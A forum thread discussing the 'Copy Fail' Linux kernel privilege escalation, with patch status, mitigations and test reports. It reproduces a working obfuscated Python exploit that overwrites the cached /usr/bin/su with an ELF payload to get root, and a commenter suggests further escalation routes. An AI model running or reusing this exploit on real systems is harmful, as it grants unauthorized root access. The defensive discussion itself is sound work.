Copy Fail — 732 Bytes to Root
48 points by achill
48 points by achill
Look, the AI reek on that advisory aside - who the fuck obfuscates their PoC?
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
Why did you feel the need to compress the payload, and to golf everything else? I don't expect a PoC for such a vulnerability to be understandable at a glance, but you don't have to go out of your way to make it as sketchy and obtuse as possible. As a defender, this is just about the last thing I'd want to run when I know I'm scrambling to patch my infra against a 0day LPE. This seems only really useful for attackers.
Not that I think this is actually malicious - I doubt an actual malicious actor would deliberately make their payload look like this.
edit: The advisory claims that Copy Fail is "Tiny. 732-byte Python script, stdlib only (os, socket, zlib). No compiled payload, no dependencies". This is a pretty fucking funny claim, considering the compressed blob decompresses to an ELF binary.
I'm hoping we'll get to read a write-up of this bug that isn't written by an AI company, the bug itself looks interesting.
edit: I cleaned up the PoC: https://git.sr.ht/~dzwdz/copyfail. It's hopefully clear enough that this version doesn't do anything nefarious. I wish I had this 2 hours ago. It could be much better but I would really want to go to sleep at an reasonable hour for once.
Thankyou for this unobfuscated version, I felt much more comfortable reading & running it. I now plan to reboot into a newer kernel and see if it's fixed.
While I'm shitting on their PoC, they have a warning on their site saying:
Use responsibly. Run only on systems you own or have written authorization to test. The script edits the page cache of a setuid binary; the change is not persistent across reboot, but the resulting root shell is real. Don't run it on production.
This warning starts off sensible with "The script edits the page cache of a setuid binary" but then diverts into usual LLM bullshit with "the resulting root shell is real". I think what they meant to say is that if you run this, other users will be able to elevate to root too as it replaces /usr/bin/su. It would be nice to warn against that, right?
With how they phrased it, it sounds like "Don't run it on production" just refers to how the "resulting root shell is real", and that you might not want to run root exploits in production. Not the wide open hole it leaves.
the more i read it over, the more it starts sounding like rehashed SCP wiki entries with how much it hypes itself up.
Thank you for the POC.
I tested it in a Podman rootless container (and as non-root) and I became root in the container, but didn't elevate privileges to host root (CapEff: 00000000800405fb - no cap_sys_admin). On the other hand, it did work when running as a user on the host.
Will you release the full PoC?→
Yes — it's on this page. We held it for a month while distros prepared patches; the major builds are out as of this writing.
Uhhhh what the hell? They did not in fact give them enough time to get patches out: https://security-tracker.debian.org/tracker/CVE-2026-31431 [at the time of this writing only forky and sid are patched; stable is still vulnerable]
Seems deeply irresponsible?
If a distro can't push an update in a month, the distro should get shit for that - nobody else.
What's irresponsible is assuming the whole world should wait because some distro or another couldn't be assed to get to it.
I really doubt that both Debian and Red Hat would fail to respond to this bug if given a month.
Considering that the rest of this disclosure is a mess too, I doubt they ever contacted them.
That seems to be what happened: https://www.openwall.com/lists/oss-security/2026/04/30/10
[The patch] does not apply cleanly [to older kernel versions], no. [...] I attempted a backport but ran into a few API changes and wasn't confident enough to muck around with it, especially for something to deploy immediately.
Well, that explains why Debian (and others) still hasn't updated. Unfortunate.
Note that for Linux kernel vulnerabilities, unless the reporter chooses to bring it to the linux-distros ML, there is no heads-up to distributions.
Unfortunate, I assumed it'd be something like this. I could see how someone could make this mistake... especially if they're scrambling to get marketing out.
It's still weird to claim that "We held it for a month while distros prepared patches; the major builds are out as of this writing" in the advisory if you haven't actually checked ~any of the popular distros. I wonder if that was a hallucination?
Responsible to whom?
Patch first. Update your distribution's kernel package to one that includes mainline commit a664bf3d603d — it reverts the 2017 algif_aead in-place optimization, so page-cache pages can no longer end up in the writable destination scatterlist. Most major distributions are shipping the fix now.
The advice it gives is A) inaccurate and B) useless to most people. The fix does not exist on Debian-based systems unless you're running unstable, and as far as I can tell is not shipping for Redhat-based systems at all.
Responsible to whom?
To the readers of the post they wrote! The only question is whether the author knew this and deliberately lied about it or just got Claude to generate a writeup and didn't even bother to fact-check it. Absolutely reckless in either case.
The advice it gives is inaccurate and useless.
No it isn't, it's impossible to execute for people constrained by Debian stable right now. That isn't everyone. It's also not me.
To the readers of the post they wrote!
I am reading this post and upgrading my kernel as we speak, i'm glad they posted it, otherwise i'd be vulnerable.
The only question is whether the author knew this and deliberately lied about it
Lied about what exactly, a disclosure timeline? Who cares? My machines are going to have the patch deployed in 30 minutes. In the world where this was done "responsibly," when would my machines be patched?
Lied about what exactly
Did you see the part where they said "Most major distributions are shipping the fix now."? It's not true. If they can't fact-check a even basic thing like this, what other stuff are they getting wrong?
This is really disappointing to me. The exploit itself is serious (well, aside from the code golfing of the poc discussed up thread) but screwing up disclosure and posting misinformation is a bad look.
"most" is structural here, "all but one" and "most" mean the same thing
Where are you getting "all but one" ? The only ones I've seen shipping it are Debian sid and Ubuntu's latest. Zero in any stable or LTS, nothing in RedHat.
First impression: I can't tell what product they're selling but I want some.
Second impression: Oh not only is it mostly marketing/branding copy, the actual info seems to be slop-written and full of lies. What a time to be alive.
Despite the text being obviously partly LLM-generated, and some...very strange inconsistencies (RHEL 14???), this does appear to work as stated in an AlmaLinux VM. Slightly horrified that distros didn't really classify it highly (or maybe the reporting party didn't properly emphasize the severity?).
I think it's understandable that one would dismiss an AI slop report. If the reporting party doesn't even bother writing the report themselves, what are the odds that it's worth anything?
I think it's understandable that one would dismiss an AI slop report.
I wouldn't generally disagree; most of the reason I tried it myself and wrote back here was to cut through the "ugh is this legit or not" dance that I figured was going on in everyone's heads.
Immediate mitigation (works on my void linux install; should be generic enough, but use at your own risk):
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
To revert:
rm /etc/modprobe.d/disable-algif-aead.conf
modprobe algif_aead
Might want to remove the 2>/dev/null there. The advisory's decision to include it is a bit dubious IMO.
No good on Fedora:
# rmmod algif_aead
rmmod: ERROR: Module algif_aead is builtin.
Looks like I'm building a new kernel.
Works on Arch.
Tested against https://github.com/tgies/copy-fail-c.git and https://git.sr.ht/~dzwdz/copyfail
Weird, if you updated it shouldn't. On my Arch-based Artix* Linux it asks for the password; *OpenRC systemd, KDE Plasma, Wayland.
Well, fudge. It works on ppc64le. It really is universal. Using @dzwdz's version,
% arch
ppc64le
% make
cc -Wall -Wextra -Os payload.c -o payload
% python3 poc.py
uid=0(root) [...] context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Does it work on android?
PoC doesn't, because it uses setuid and Android is setuid-hardened. But underlying vulnerability is arbitrary page cache write that works every time where the attacker can precisely control both offset and value, which is very powerful. I won't be surprised if it can be made to work on Android.
Android SELinux policy prevents creating AF_ALG sockets in pretty much all contexts, so it shouldn't be exploitable even on vulnerable kernels.
Edit: here's where Android forbids AF_ALG sockets for normal unprivileged apps. There are other .te files that forbid it for other contexts, and even the ones that don't explicitly forbid it don't seem to allow it, which means it's forbidden by default.
My biggest hope is this lets people get root on Linux-based consumer devices that are locked down.
Since the post doesn't bother to say, commit a664bf3d603d (the fix) currently only seems to be included in upstream Linux 7.0 and later. It has not made it to any stable backport branches. Checked using git tag --contains on a local Linux clone.
Edit: I made a mistake, see replies. It is also fixed in 6.18 as of 6.18.22 and 6.19 as of 6.19.12.
Debian has it as fixed in 6.19: https://security-tracker.debian.org/tracker/CVE-2026-31431
You're right, I forgot that the backports are cherry-picked and don't have the same commit hash. Upstream has fixed it in 6.18.22 and 6.19.12. They have not fixed it in any other LTS branch yet: 6.12.84, 6.6.136, 6.1.169, 5.15.203, and 5.10.253 all look vulnerable to me.
Every Major Linux Distribution
Doesn't appear to affect Alpine, or is that just because the PoC needs tweaking?
https://github.com/theori-io/copy-fail-CVE-2026-31431/issues/4
I think the reason it doesn't work is that regular users don't have read permissions on Alpine's /bin/su (and the PoC expects su to be at /usr/bin/su). If you have any other setuid binaries on the system that are readable by other users, the PoC can be trivially adapted.
If you don't, then you probably still could use this exploit to escalate to root by changing your UID to 0 in /etc/passwd, adding a backdoor to the main busybox binary (which is world-readable) and waiting until root runs it, etc. I haven't tested any of that but this should be relatively easy?